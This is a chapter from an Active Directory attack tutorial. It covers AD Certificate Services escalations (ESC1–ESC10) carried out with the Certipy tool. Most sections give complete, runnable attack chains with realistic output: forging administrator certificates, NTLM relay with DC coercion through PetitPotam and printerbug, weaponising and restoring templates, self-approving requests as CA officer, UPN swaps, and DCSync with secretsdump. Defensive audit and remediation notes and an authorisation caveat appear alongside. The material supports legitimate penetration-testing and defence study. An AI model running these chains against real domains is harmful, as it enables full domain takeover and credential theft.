AD Certificate Services (AD CS / ESC) Attacks with Certipy
This is Chapter 11 of the Active Directory attack notebook — Notebook 18, and the chapter that finally makes “just get a certificate” one of the most powerful sentences in the entire series. Chapter 10 showed how NTLM relay and coercion turn a foothold on the wire into domain compromise, and it deliberately ended on the flagship ESC8 relay into AD CS without fully explaining what AD CS is. This chapter goes back and builds the whole of Active Directory Certificate Services from zero, then walks the complete ESC catalogue — ESC1 through ESC16 — so that every one of those escalations stops being a blog-copied one-liner and becomes something you understand field by field.
Certificates are the quiet superpower of Active Directory. A password can be rotated, a Kerberos ticket expires in ten hours, but a certificate is a self-contained credential that says “the CA vouches that this key belongs to this identity,” and by default it is valid for one year or more and survives password resets. If an attacker can convince the CA to issue a certificate that names a privileged account, they have minted a durable key to the domain that no password change will revoke. That is the shape of nearly every attack in this chapter: find a path to a certificate that authenticates as someone you are not, then use PKINIT or Schannel to turn that certificate into a TGT, an NT hash, or a Domain Admin session.
The research that named these attacks — SpecterOps’s Certified Pre-Owned (2021) by Will Schroeder and Lee Christensen — catalogued the domain-escalation primitives as ESC1–ESC8 and the certificate-theft primitives as THEFT1–THEFT5. The community has since extended the list to ESC16. We will cover all of them, but with a strong bias toward the ones you will actually meet on engagements — ESC1, ESC4, ESC6, ESC7, ESC8, and the mapping attacks ESC9/ESC10 — and toward the single tool that has become the standard for exploiting them: Certipy.
Why This Matters
Section titled “Why This Matters”AD CS is installed in a large fraction of enterprise Active Directory environments — anywhere that does smart-card logon, 802.1x/NPS, LDAPS, S/MIME, VPN certificates, SCCM, or Wi-Fi auth. It is frequently deployed with default or lightly-customised certificate templates, and those defaults are dangerous. A single template with the wrong flag or the wrong ACL turns every authenticated user into a Domain Admin candidate — no exploit, no malware, no crash, just a perfectly legitimate certificate request. Because the escalation abuses the PKI working exactly as configured, it produces almost no traditional “attack” signal: no failed logons, no exploit payload, no EDR alert. The certificate authenticates cleanly forever after.
It matters just as much defensively. AD CS misconfigurations are, in practice, a leading cause of “we did everything else right and still lost the domain.” A defender who understands enrollment flags, EKUs, and certificate mapping can find and fix these before an attacker does — and can detect the ones that are exploited, because certificate enrollment is logged if you know which event IDs to watch. This chapter is written so both sides can reproduce every step.
Who This Is For
Section titled “Who This Is For”You should be comfortable with the earlier chapters of this notebook: Kerberos (Chapter 5), delegation and RBCD (Chapter 8), ACL/ACE abuse (Chapter 9), and NTLM relay and coercion (Chapter 10) — ESC8 is a direct continuation of that last one. You do not need any prior PKI knowledge; Part 1 builds certificates and enrollment from the ground up. If you have only ever run certipy find and pasted the output into a report without understanding why a template is flagged vulnerable, this chapter turns that into genuine understanding of every EKU, flag, and ACE involved.
A hard prerequisite before any of this touches a real network: explicit written authorisation. Minting a certificate that authenticates as Domain Admin, relaying a Domain Controller, or backing up a CA’s private key are unambiguously intrusive, high-impact actions. Everything below assumes a lab you own or an engagement with a signed scope. Build the lab in Part 14 and practise there.
Part 1: PKI and AD CS From Zero
Section titled “Part 1: PKI and AD CS From Zero”Before any ESC number means anything, you need a mental model of what a certificate is and how Active Directory issues one. Skip nothing here — every escalation later is just a specific way this machine breaks.
1.1 What a certificate actually is
Section titled “1.1 What a certificate actually is”An X.509 certificate is a small signed data structure that binds a public key to an identity (a subject name and/or Subject Alternative Names) for a set of purposes (Extended Key Usages), vouched for by a Certificate Authority that signs the whole thing with its private key. You hold the matching private key; anyone can verify the CA’s signature using the CA’s public certificate. The three parts that matter for attacks are:
- Subject / Subject Alternative Name (SAN): who the certificate claims to be. In AD, the SAN is decisive — a
userPrincipalName(UPN) or DNS name in the SAN is what Windows maps back to an account during authentication. If you can putadministrator@corp.localin the SAN of a certificate the CA will sign, you have a certificate that is the administrator. - Extended Key Usage (EKU): what the certificate may be used for, expressed as OIDs. The one that matters most offensively is Client Authentication (
1.3.6.1.5.5.7.3.2), which lets a certificate log a user on. Related: Smart Card Logon (1.3.6.1.4.1.311.20.2.2), PKINIT Client Authentication (1.3.6.1.5.2.3.4), Any Purpose (2.5.29.37.0), and the empty-EKU SubCA case. Certificate Request Agent (1.3.6.1.4.1.311.20.2.1) enables enroll-on-behalf-of. - Validity + the CA signature: the certificate is trusted domain-wide because the issuing CA’s certificate lives in the forest’s NTAuth store (
CN=NTAuthCertificates). Any certificate chaining to an NTAuth CA can be used to authenticate to AD.
1.2 The AD CS moving parts
Section titled “1.2 The AD CS moving parts”Active Directory Certificate Services is Microsoft’s PKI role. The pieces you attack:
| Component | What it is | Why an attacker cares |
|---|---|---|
| Enterprise CA | The server running the certsvc role, integrated with AD | Signs certificates; its private key is the crown jewel (ESC7/forge) |
| Certificate template | An AD object (CN=…,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration) that defines EKUs, enrollment flags, subject rules, and ACLs | The single most common misconfiguration surface (ESC1–ESC4, ESC9, ESC13, ESC15) |
| Enrollment services | Object under CN=Enrollment Services listing which CAs publish which templates | Enumeration target; certipy find reads it |
| NTAuth store | CN=NTAuthCertificates,CN=Public Key Services,… — the list of CAs trusted for AD auth | If your forged/rogue CA lands here, game over (ESC5 territory) |
| Web enrollment | Optional IIS endpoints /certsrv/certfnsh.asp (HTTP) and the CES/CEP web services | The NTLM relay target for ESC8 |
| CA configuration flags | Registry values on the CA like EDITF_ATTRIBUTESUBJECTALTNAME2 and the security-extension policy | ESC6 and ESC16 live here |
1.3 How enrollment works, step by step
Section titled “1.3 How enrollment works, step by step”sequenceDiagram
participant U as Enrollee (user/computer)
participant DC as Domain Controller (LDAP)
participant CA as Enterprise CA (certsvc)
U->>DC: Read published templates + enrollment rights (LDAP)
U->>U: Generate keypair, build PKCS#10 CSR (subject/SAN per template rules)
U->>CA: Submit CSR via MS-ICPR (RPC) or /certsrv (HTTP)
CA->>CA: Check enrollment rights on template ACL
CA->>CA: Apply template policy (EKUs, SAN source, manager approval?)
CA->>U: Issue signed certificate (or mark pending)
U->>DC: Authenticate with cert via PKINIT (Kerberos) or Schannel (LDAPS)
DC->>U: TGT / authenticated session as the mapped identity
Two request channels matter: MS-ICPR (the ICertPassage RPC interface, used by certipy req) and HTTP web enrollment (certsrv, the ESC8 relay target). Two authentication channels matter on the way back out: PKINIT (present the cert to a KDC, get a Kerberos TGT — and via the UnPAC-the-hash trick, the account’s NT hash too) and Schannel (present the cert over TLS to LDAPS or another Schannel service).
1.4 Certificate mapping — the linchpin of every attack and every defence
Section titled “1.4 Certificate mapping — the linchpin of every attack and every defence”When you authenticate with a certificate, the DC must decide which account it represents. This is certificate mapping, and it is the hinge the entire ESC9/ESC10/ESC14/ESC16 family turns on.
- Implicit UPN/DNS mapping: historically, the DC read the SAN’s UPN (for users) or DNS name (for computers) and mapped to the account with that value. This is why ESC1 works: put the victim’s UPN in the SAN and you are them.
- The
szOID_NTDS_CA_SECURITY_EXTextension (OID1.3.6.1.4.1.311.25.2): to close the gap, Microsoft’s May 2022 update (KB5014754) had the CA embed the requester’s SID into a new certificate extension. If present, the DC verifies the SID matches the mapped account — so you can no longer request a cert “as” someone else just by naming them, because the embedded SID is still yours. StrongCertificateBindingEnforcement: the DC-side registry knob (HKLM\SYSTEM\CurrentControlSet\Services\Kdc) controlling how strictly the SID extension is enforced.2= full enforcement (map only by SID/strong identifiers),1= compatibility (warn),0= disabled (old weak behaviour → ESC10). The corresponding Schannel knob isCertificateMappingMethodsunder the Schannel provider.altSecurityIdentities: an explicit mapping attribute on an account. Writing a strong (or weak) mapping here is ESC14.
Hold onto this: ESC1 works because SAN mapping is trusted; ESC9 works by requesting a template that omits the SID extension; ESC10 works because the DC’s strong-binding enforcement is turned off; ESC16 works because the CA is configured to never add the extension. Every one of them is the same lock (certificate → identity binding) picked in a different way.
Part 2: Certipy From Scratch
Section titled “Part 2: Certipy From Scratch”Every tool in this notebook is taught from zero the first time it appears, and Certipy is the workhorse of this chapter, so we start with what it is before we use it.
What it is. Certipy (maintained as the certipy-ad package by Oliver Lyak / ly4k) is a Python tool that enumerates and abuses AD CS. It replaced the older Certify (C#) + Rubeus workflow for most operators because it runs from Linux, speaks LDAP/RPC/PKINIT natively, and bundles enumeration, request, relay, CA abuse, certificate theft, forging, and Shadow Credentials into one binary. It is built on Impacket, so it authenticates with passwords, NT hashes (-hashes), or Kerberos tickets (-k).
Why it exists. Exploiting AD CS by hand means crafting PKCS#10 CSRs with custom SANs, driving the ICertPassage RPC, running the PKINIT dance to redeem a certificate for a TGT, and parsing template ACLs out of LDAP — all fiddly. Certipy turns each of those into a subcommand.
Install on Kali.
# Preferred: pipx keeps it isolated and on PATHsudo apt update && sudo apt install -y pipxpipx install certipy-adpipx ensurepath # then restart the shell
# Or straight from pip (into a venv is cleanest)python3 -m pip install certipy-ad
certipy version# Certipy v5.0.2 - by Oliver Lyak (ly4k)The subcommands you will use (its “interface”):
| Subcommand | Purpose | Typical use |
|---|---|---|
certipy find | Enumerate CAs, templates, and flag vulnerabilities | First step on every engagement |
certipy req | Request/enroll a certificate | ESC1/2/3/9/13/15 exploitation |
certipy auth | Authenticate with a .pfx → TGT + NT hash | Cash in almost any issued cert |
certipy relay | NTLM-relay to CA web/RPC enrollment | ESC8 / ESC11 |
certipy ca | Manage/abuse CA settings and requests | ESC6, ESC7, backup |
certipy template | Read/overwrite a template’s config | ESC4 |
certipy shadow | Shadow Credentials (msDS-KeyCredentialLink) | Take over accounts you can write |
certipy account | Read/modify account attributes (UPN, DNS) | ESC9/ESC10 setup |
certipy forge | Forge a “golden” cert from a stolen CA key | Post-CA-compromise persistence |
certipy cert | Convert/split PFX/PEM, extract keys | Plumbing between steps |
Global flags worth knowing now: -u user@domain -p password (or -hashes :NTHASH, or -k -no-pass for Kerberos), -dc-ip, -target/-ca, -ns (DNS server, often the DC), -debug, and — important on modern DCs — -ldap-channel-binding / -scheme ldaps when LDAP signing/CB is enforced. Certipy 5.x also added -sspn handling and improved ESC coverage; if a flag below is missing on your version, run certipy <cmd> -h.
Part 3: Enumeration — certipy find
Section titled “Part 3: Enumeration — certipy find”You cannot exploit what you have not mapped. certipy find authenticates over LDAP, reads every CA and certificate template, computes the effective permissions, and tells you which templates are exploitable and how.
certipy find -u analyst@corp.local -p 'Autumn2026!' -dc-ip 10.10.10.10 -stdout -vulnerableFlag-by-flag:
-u/-p— credentials (any authenticated user is enough to enumerate).-dc-ip— the DC to query over LDAP.-stdout— print to terminal instead of only writing files. Without it you get a timestamped*_Certipy.txt,*_Certipy.json, and a BloodHound-compatible ZIP.-vulnerable— restrict output to templates Certipy considers exploitable (ESC-flagged). Drop it to see everything.- Useful adds:
-enabled(only templates actually published on a CA),-hide-admins,-old-bloodhound/-bloodhound(export for graphing).
Realistic (trimmed) output for an ESC1-vulnerable template:
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Finding certificate templates[*] Found 34 certificate templates[*] Finding certificate authorities[*] Found 1 certificate authority[*] Found 12 enabled certificate templates[*] Saved text output to '20260807_Certipy.txt'
Certificate Authorities 0 CA Name : corp-DC01-CA DNS Name : dc01.corp.local Certificate Subject : CN=corp-DC01-CA, DC=corp, DC=local Web Enrollment (HTTP) : Enabled <-- ESC8 surface User Specified SAN : Disabled Request Disposition : Issue
Certificate Templates 0 Template Name : ESC1-VulnUser Enabled : True Client Authentication : True Enrollee Supplies Subject : True <-- attacker sets SAN Extended Key Usage : Client Authentication Requires Manager Approval : False Authorized Signatures Required : 0 Enrollment Rights : CORP\Domain Users [!] Vulnerabilities ESC1 : 'CORP\\Domain Users' can enroll, enrollee supplies subject and template allows client authenticationRead that block like a checklist: who can enroll (Enrollment Rights), can the enrollee choose the SAN (Enrollee Supplies Subject), does the EKU allow logon (Client Authentication), is there a human gate (Requires Manager Approval, Authorized Signatures Required). ESC1 needs low-priv enroll + enrollee-supplied SAN + auth EKU + no approval. Certipy computes exactly that and labels it.
Blue team usage: certipy find is also the fastest self-audit. Run it as a normal user against your own domain; every [!] Vulnerabilities line is a finding to remediate. The JSON output feeds nicely into a periodic AD CS hygiene check.
3.1 The ESC catalogue at a glance
Section titled “3.1 The ESC catalogue at a glance”mindmap
root((AD CS ESC))
Template misconfig
ESC1 Enrollee SAN
ESC2 Any Purpose / SubCA
ESC3 Enrollment Agent
ESC9 No SID extension
ESC13 OID to group link
ESC15 EKUwu v1 app policy
ACL abuse
ESC4 Template ACL
ESC5 PKI object ACL
ESC7 CA rights ManageCA
CA config
ESC6 EDITF SAN2
ESC16 Security ext disabled
Relay
ESC8 Web enrollment HTTP
ESC11 ICertPassage RPC
Mapping
ESC10 Weak DC binding
ESC14 altSecurityIdentities
| ESC | Root cause | Rights needed | Certipy path |
|---|---|---|---|
| ESC1 | Enrollee supplies SAN + client-auth EKU | Enroll on template | req -upn victim |
| ESC2 | Any Purpose or SubCA EKU | Enroll | req then use broadly / on-behalf |
| ESC3 | Enrollment Agent EKU | Enroll | req agent → req -on-behalf-of |
| ESC4 | Write/Owner over template | WriteDacl/WriteOwner/GenericAll | template -write → make it ESC1 |
| ESC5 | Write over CA/PKI objects | ACL on CA computer/objects | ACL abuse → CA control |
| ESC6 | EDITF_ATTRIBUTESUBJECTALTNAME2 on CA | Enroll on any client-auth template | req -upn (SAN honored globally) |
| ESC7 | ManageCA / ManageCertificates | CA role | ca -add-officer / enable flag / issue |
| ESC8 | Web enrollment + NTLM relay | Network position + coercion | relay -target http://ca/certsrv/... |
| ESC9 | CT_FLAG_NO_SECURITY_EXTENSION | Write UPN on a victim (+enroll) | account UPN swap → req → auth |
| ESC10 | Weak DC cert binding (registry) | Write UPN or Shadow Creds | account swap / shadow → auth |
| ESC11 | ICertPassage RPC w/o encryption | Network position + coercion | relay to RPC endpoint |
| ESC13 | Template linked to group via OID | Enroll on template | req → token gains group |
| ESC14 | Write altSecurityIdentities | Write on victim | explicit mapping → auth |
| ESC15 | v1 template + app policies (EKUwu) | Enroll | req -application-policies |
| ESC16 | Security extension disabled on CA | Enroll + account write | like ESC9 but CA-wide |
Part 4: ESC1 — Enrollee-Supplied SAN (the canonical escalation)
Section titled “Part 4: ESC1 — Enrollee-Supplied SAN (the canonical escalation)”ESC1 is the one you will meet most often and the one to understand cold. A template is ESC1-vulnerable when all of these hold: an unprivileged group has enroll rights; the template has the CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT flag (Certipy: Enrollee Supplies Subject : True); the EKU permits client authentication; and there is no manager approval or signature requirement. Under those conditions the enrollee gets to dictate the SAN, so they simply name a Domain Admin.
flowchart LR
A[Low-priv user] -->|req -upn administrator| B[Enterprise CA]
B -->|issues cert w/ Administrator in SAN| C[administrator.pfx]
C -->|certipy auth| D[PKINIT to KDC]
D --> E[TGT + Administrator NT hash]
E --> F[DCSync / full domain]
4.1 Exploitation
Section titled “4.1 Exploitation”Request the certificate, supplying the victim UPN:
certipy req \ -u analyst@corp.local -p 'Autumn2026!' \ -dc-ip 10.10.10.10 \ -ca corp-DC01-CA \ -template ESC1-VulnUser \ -upn administrator@corp.local \ -sid S-1-5-21-1899-1004-2019-500Flags:
-ca— the issuing CA name exactly asfindreported it.-template— the vulnerable template.-upn— the SAN userPrincipalName you want the cert to claim. This is the whole attack: you ask to beadministrator.-sid— (Certipy 4.8+) also embed a SID in the SAN URL. On patched CAs the DC may require the SID to match for strong mapping; supplying the target’s SID makes the cert work againstStrongCertificateBindingEnforcementwhere feasible. Get it fromcertipy find/ldapsearch.- Add
-dns dc01.corp.localinstead of-upnto impersonate a computer account (machine templates).
Typical output:
[*] Requesting certificate via RPC[*] Successfully requested certificate[*] Request ID is 41[*] Got certificate with UPN 'administrator@corp.local'[*] Certificate has no object SID[*] Saved certificate and private key to 'administrator.pfx'4.2 Cashing it in with certipy auth
Section titled “4.2 Cashing it in with certipy auth”certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10[*] Using principal: administrator@corp.local[*] Trying to get TGT...[*] Got TGT[*] Saved credential cache to 'administrator.ccache'[*] Trying to retrieve NT hash for 'administrator'[*] Got hash for 'administrator@corp.local': aad3b435b51404eeaad3b435b51404ee:5f4dcc3b5aa765d61d8327deb882cf99auth does two things: it performs PKINIT to obtain a Kerberos TGT (saved as a .ccache you can export KRB5CCNAME=administrator.ccache and use with any Impacket tool), and it performs UnPAC-the-hash — a documented PKINIT behaviour where the KDC returns the account’s NTLM hash inside the encrypted PAC — giving you the NT hash for pass-the-hash. Either one is game over for a Domain Admin.
export KRB5CCNAME=administrator.ccachesecretsdump.py -k -no-pass corp.local/administrator@dc01.corp.local# ... dumps the entire NTDS.dit via DRSUAPI (DCSync)Red team usage: the resulting certificate is valid for the template’s lifetime (often 1 year). Even if the admin password is reset, the certificate keeps yielding TGTs — a stealthy persistence primitive (see also THEFT and forge in Part 11). Bug bounty / CTF angle: ESC1 is a staple of HackTheBox/TryHackMe AD boxes and of pro-lab environments; if a box hands you any domain user and there is a CA, certipy find -vulnerable is a reflex.
Pitfall: if auth fails with KDC_ERR_PADATA_TYPE_NOSUPP, PKINIT isn’t supported by that KDC (no DC certificate) — you may still use the cert over Schannel (-ldap-shell) instead. If it fails with KDC_ERR_CLIENT_NAME_MISMATCH on a patched DC, you hit strong mapping — supply -sid, or pivot to ESC9/ESC10.
Part 5: ESC2 and ESC3 — Any-Purpose, SubCA, and Enrollment Agent
Section titled “Part 5: ESC2 and ESC3 — Any-Purpose, SubCA, and Enrollment Agent”5.1 ESC2 — Any Purpose / SubCA EKU
Section titled “5.1 ESC2 — Any Purpose / SubCA EKU”A template whose EKU is Any Purpose (2.5.29.37.0) or which has no EKU (a SubCA template) issues a certificate usable for anything, including client authentication. If a low-priv user can enroll and the template does not force the subject from AD, ESC2 is effectively ESC1 without needing the enrollee-SAN flag, because Any-Purpose certs can be repurposed. Certipy flags it as ESC2. Exploitation is a plain certipy req followed by using the cert for client auth (or as an enrollment/subordinate cert). SubCA templates that let you act as a subordinate CA are especially dangerous — you can sign your own certificates.
5.2 ESC3 — Certificate Request Agent (enroll on behalf of others)
Section titled “5.2 ESC3 — Certificate Request Agent (enroll on behalf of others)”The Certificate Request Agent EKU (1.3.6.1.4.1.311.20.2.1), also called Enrollment Agent, lets the holder request certificates on behalf of other users. Two conditions: (1) a template grants you an enrollment-agent certificate; (2) a second template accepts enrollment-agent signatures (Authorized Signatures Required: 1 + application policy = Certificate Request Agent). Chain them:
# Step 1 — get the enrollment agent certificatecertipy req -u analyst@corp.local -p 'Autumn2026!' -dc-ip 10.10.10.10 \ -ca corp-DC01-CA -template ESC3-Agent
# Step 2 — use it to enroll a cert AS the administratorcertipy req -u analyst@corp.local -p 'Autumn2026!' -dc-ip 10.10.10.10 \ -ca corp-DC01-CA -template User \ -pfx analyst.pfx -on-behalf-of 'CORP\administrator'-on-behalf-of 'DOMAIN\user'— the target principal to impersonate (note the NetBIOSDOMAIN\form).-pfx analyst.pfx— the enrollment-agent certificate signing the on-behalf request.
Then certipy auth -pfx administrator.pfx as before. ESC3 is the “legitimate feature abused” case: enrollment agents exist so a help-desk can enroll smart cards for staff — which is exactly why an over-broad agent template is a domain-takeover primitive.
Part 6: ESC4 — Template ACL Abuse
Section titled “Part 6: ESC4 — Template ACL Abuse”ESC1–ESC3 assume the template is already misconfigured. ESC4 is about making it misconfigured. If you hold WriteDacl, WriteOwner, WriteProperty, or GenericAll over a certificate template object (Certipy reports these under the template’s [!] Vulnerabilities as ESC4), you can rewrite its configuration into an ESC1 template, enroll, and then — good practice — restore it.
flowchart LR
A[GenericAll on template] --> B[certipy template -write:<br/>enable ENROLLEE_SUPPLIES_SUBJECT,<br/>add ClientAuth EKU, allow Domain Users]
B --> C[Now ESC1] --> D[req -upn administrator]
D --> E[auth -> DA]
E --> F[certipy template -write -configuration backup.json:<br/>restore original]
Certipy 5 makes the whole round-trip safe by saving and restoring the template configuration:
# Back up + weaponize the template into an ESC1 in one shotcertipy template -u analyst@corp.local -p 'Autumn2026!' -dc-ip 10.10.10.10 \ -template VulnByACL -write-default-configuration -save-configuration old.json
# (older/explicit form) push a crafted config that turns on enrollee SAN + ClientAuth# certipy template ... -configuration esc1.json
# ... now exploit exactly like ESC1 ...certipy req -u analyst@corp.local -p 'Autumn2026!' -ca corp-DC01-CA \ -template VulnByACL -upn administrator@corp.local
# restore the original configuration you savedcertipy template -u analyst@corp.local -p 'Autumn2026!' -dc-ip 10.10.10.10 \ -template VulnByACL -configuration old.jsonEthics / operational care: rewriting a production template changes real security posture. Always save the original first (-save-configuration) and restore it immediately after, and note it in the engagement log. Leaving a template in the weaponised state is both a finding you created and a liability.
How you get the ACL in the first place ties back to Chapter 9: a WriteDacl/GenericWrite ACE on the template object, often inherited from an over-permissive OU or granted to a broad group. BloodHound’s ADCS collection surfaces these edges.
Part 7: ESC6 — EDITF_ATTRIBUTESUBJECTALTNAME2 on the CA
Section titled “Part 7: ESC6 — EDITF_ATTRIBUTESUBJECTALTNAME2 on the CA”ESC6 moves the misconfiguration from a template to the CA itself. When the CA has the policy flag EDITF_ATTRIBUTESUBJECTALTNAME2 set, it will honour a SAN supplied in the request for any template, even templates that build the subject from AD. In other words, one bad CA flag turns every client-auth template into ESC1.
Detect it in certipy find output:
User Specified SAN : Enabled <-- EDITF_ATTRIBUTESUBJECTALTNAME2 [!] Vulnerabilities ESC6 : Enrollees can specify SAN and template allows client authenticationExploit it exactly like ESC1 but against a normally-safe template:
certipy req -u analyst@corp.local -p 'Autumn2026!' -dc-ip 10.10.10.10 \ -ca corp-DC01-CA -template User -upn administrator@corp.localImportant caveat: the May 2022 update (KB5014754) added the SID security extension, which means that even with EDITF set, a patched CA still embeds the requester’s real SID and a patched DC (strong binding) may reject the mismatched cert. So ESC6 is reliably exploitable on unpatched CAs, and on patched ones it typically must be combined with the mapping weaknesses (ESC9/ESC10) or ESC16. Certipy’s flag tells you the flag is set; whether it lands depends on the DC’s StrongCertificateBindingEnforcement.
Set/inspect the flag (defenders and, with ESC7 rights, attackers):
# View: on the CAcertutil -getreg policy\EditFlags# The dangerous bit is EDITF_ATTRIBUTESUBJECTALTNAME2 (0x00040000)# Remove it:certutil -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2net stop certsvc && net start certsvcPart 8: ESC7 — Vulnerable CA Access Control (ManageCA / ManageCertificates)
Section titled “Part 8: ESC7 — Vulnerable CA Access Control (ManageCA / ManageCertificates)”Templates aren’t the only ACL surface — the CA object has its own rights. Two matter:
- ManageCA (“CA Administrator”) — can change CA configuration, including enabling
EDITF_ATTRIBUTESUBJECTALTNAME2(i.e. turn on ESC6 yourself) and adding certificate officers. - ManageCertificates (“Certificate Manager / Officer”) — can approve pending requests, defeating the “manager approval” gate.
Certipy reports these as ESC7. The classic weaponisation (Certipy automates it) is: grant yourself officer rights, submit a request to a template that requires approval (e.g. SubCA) which lands pending/denied, then approve it as the officer.
# 1) Add ourselves as an officer (needs ManageCA)certipy ca -u analyst@corp.local -p 'Autumn2026!' -dc-ip 10.10.10.10 \ -ca corp-DC01-CA -add-officer analyst
# 2) Enable the SubCA template on the CA (ManageCA) if not enabledcertipy ca -ca corp-DC01-CA -u analyst@corp.local -p 'Autumn2026!' \ -enable-template SubCA
# 3) Request against SubCA with an admin SAN — this gets DENIED (needs manager approval)certipy req -u analyst@corp.local -p 'Autumn2026!' -ca corp-DC01-CA \ -template SubCA -upn administrator@corp.local# -> Request ID is 785, disposition: taken under submission (pending)
# 4) Approve our own pending request as the officer we just becamecertipy ca -ca corp-DC01-CA -u analyst@corp.local -p 'Autumn2026!' \ -issue-request 785
# 5) Retrieve the now-issued certificatecertipy req -u analyst@corp.local -p 'Autumn2026!' -ca corp-DC01-CA \ -retrieve 785-add-officer— grants ManageCertificates (officer) to a principal (requires ManageCA).-enable-template— publishes a template on the CA.-issue-request ID— force-issue a pending request (officer power).-retrieve ID— download an already-issued request’s certificate.
Then certipy auth -pfx administrator.pfx. ESC7 is powerful because ManageCA is sometimes delegated to a “PKI operators” group that is far broader than the domain-admin tier it effectively equals.
Part 9: ESC8 — NTLM Relay to Web Enrollment (the coercion chain)
Section titled “Part 9: ESC8 — NTLM Relay to Web Enrollment (the coercion chain)”ESC8 is the bridge from Chapter 10. If the CA exposes web enrollment (http://ca/certsrv/), that IIS endpoint accepts NTLM and does not enforce channel binding by default — so you can coerce a privileged machine (a Domain Controller) into authenticating to you and relay that authentication to the CA’s web enrollment, requesting a certificate as the DC’s machine account. A DC machine-account certificate lets you PKINIT as the DC and DCSync the domain.
sequenceDiagram
participant A as Attacker (certipy relay)
participant DC as Domain Controller (victim)
participant CA as AD CS Web Enrollment (certsrv)
A->>A: certipy relay -target http://ca -template DomainController
A->>DC: Coerce (PetitPotam / PrinterBug) -> auth to attacker
DC->>A: NTLM AUTHENTICATE (DC$ machine account)
A->>CA: Relay NTLM to /certsrv/certfnsh.asp, request cert for DC$
CA->>A: Issues certificate for DC01$
A->>A: certipy auth -pfx dc01.pfx -> TGT + DC$ hash
A->>DC: DCSync as DC01$ -> full domain
9.1 Running the relay
Section titled “9.1 Running the relay”# Terminal 1 — start the relay listener aimed at the CA's web enrollmentcertipy relay -target 'http://ca01.corp.local' -template DomainController# older syntax: -target 'http://ca01/certsrv/certfnsh.asp'-target— the CA web-enrollment host/URL. Certipy knows thecertsrvpath.-template DomainController— request the machine/DC template (for computer coercion). UseMachine/Computerfor member servers, or omit for the default.
# Terminal 2 — coerce the DC to authenticate to us (see Chapter 10)python3 PetitPotam.py -u analyst -p 'Autumn2026!' -d corp.local <attacker-ip> <dc-ip># or: printerbug.py 'corp.local/analyst:Autumn2026!'@<dc-ip> <attacker-ip># or: coercer coerce -u analyst -p 'Autumn2026!' -t <dc-ip> -l <attacker-ip>Relay output:
[*] Targeting http://ca01.corp.local (ESC8)[*] Listening on 0.0.0.0:445 and 0.0.0.0:80[*] Received connection from 10.10.10.10 (DC01$)[*] Requesting certificate for 'CORP\\DC01$' via template 'DomainController'[*] Got certificate with DNS SAN 'dc01.corp.local'[*] Saved certificate and private key to 'dc01.pfx'9.2 Cash in the DC certificate
Section titled “9.2 Cash in the DC certificate”certipy auth -pfx dc01.pfx -dc-ip 10.10.10.10# -> TGT for DC01$ and its NT hashexport KRB5CCNAME=dc01.ccachesecretsdump.py -k -no-pass corp.local/DC01\$@dc01.corp.localA DC machine account can DCSync — you now own the domain. ESC8 requires no template misconfiguration at all; the vulnerability is simply that web enrollment accepts relayable NTLM. It is one of the highest-impact, lowest-prerequisite AD CS attacks and the reason “is HTTP web enrollment enabled?” is a top-line question on every AD CS review.
Related — ESC11: the same relay idea against the ICertPassage RPC interface when the CA has not set IF_ENFORCEENCRYPTICERTREQUEST (RPC encryption not required). certipy relay -target 'rpc://ca01.corp.local' -template ... relays coerced auth to the RPC enrollment endpoint instead of HTTP — useful when web enrollment is off but the RPC interface is still relayable.
Part 10: ESC9 and ESC10 — Weak Certificate Mapping
Section titled “Part 10: ESC9 and ESC10 — Weak Certificate Mapping”ESC9 and ESC10 exist because of the post-KB5014754 world. Once the SID security extension and strong binding arrived, plain ESC1-style “name yourself administrator” stopped working on patched estates — unless the certificate omits the SID extension (ESC9) or the DC is configured not to enforce it (ESC10). Both are usually chained with a write primitive over a victim account (from Chapter 9 ACL work): you temporarily change the victim’s UPN to the target’s, enroll, then change it back.
10.1 ESC9 — CT_FLAG_NO_SECURITY_EXTENSION
Section titled “10.1 ESC9 — CT_FLAG_NO_SECURITY_EXTENSION”A template with the msPKI-Enrollment-Flag bit CT_FLAG_NO_SECURITY_EXTENSION (Certipy: ESC9) tells the CA not to embed the SID extension. So a certificate from it maps by UPN only — exactly the old weak behaviour. If you can write the userPrincipalName of an account you control (say svc_web) to the victim’s UPN (administrator), enroll from the ESC9 template as svc_web, then restore, the resulting cert authenticates as administrator.
# 1) Change our controlled account's UPN to the target (needs GenericWrite over svc_web)certipy account update -u analyst@corp.local -p 'Autumn2026!' -dc-ip 10.10.10.10 \ -user svc_web -upn administrator@corp.local
# 2) Enroll from the ESC9 (no-security-extension) template AS svc_webcertipy req -u svc_web@corp.local -hashes :<svc_web_nthash> -dc-ip 10.10.10.10 \ -ca corp-DC01-CA -template ESC9-NoSecExt# -> administrator.pfx (UPN=administrator, no SID extension)
# 3) Restore svc_web's real UPNcertipy account update -u analyst@corp.local -p 'Autumn2026!' -dc-ip 10.10.10.10 \ -user svc_web -upn svc_web@corp.local
# 4) Authenticate — maps by UPN to the real administratorcertipy auth -pfx administrator.pfx -dc-ip 10.10.10.10certipy account update -user X -upn Y— set account X’suserPrincipalNameto Y. This is the pivot: mapping-by-UPN means whoever currently owns that UPN wins.
10.2 ESC10 — weak DC-side binding
Section titled “10.2 ESC10 — weak DC-side binding”ESC10 is the same UPN-swap trick, but the enabling condition is on the DC’s registry, not the template:
- Case 1 (
CertificateMappingMethodsincludes0x4, UPN mapping for Schannel) — abuse via Schannel/LDAPS. - Case 2 (
StrongCertificateBindingEnforcement = 0on the KDC) — the DC does no strong SID check, so any client-auth template works with a UPN swap, no ESC9 flag needed.
Certipy flags ESC10 when it reads these weak values. Exploitation mirrors ESC9 (swap UPN, enroll from any client-auth template, restore, auth). ESC10 case 1 can also be driven with Shadow Credentials on the victim and then Schannel authentication (certipy auth ... -ldap-shell).
10.3 Shadow Credentials as an enabler
Section titled “10.3 Shadow Credentials as an enabler”certipy shadow abuses Key Trust (msDS-KeyCredentialLink) — if you can write that attribute on a victim (GenericWrite/GenericAll), you add a key credential and then PKINIT as them. It is not strictly an ESC, but it is the most common way to obtain the “write on victim” and cert-based logon needed for ESC9/ESC10 and for general account takeover:
certipy shadow auto -u analyst@corp.local -p 'Autumn2026!' -dc-ip 10.10.10.10 \ -account svc_web# adds a KeyCredential, authenticates via PKINIT, prints svc_web's NT hash, then cleans upshadow auto does add → authenticate → dump hash → remove in one command. shadow add/list/remove are the manual pieces.
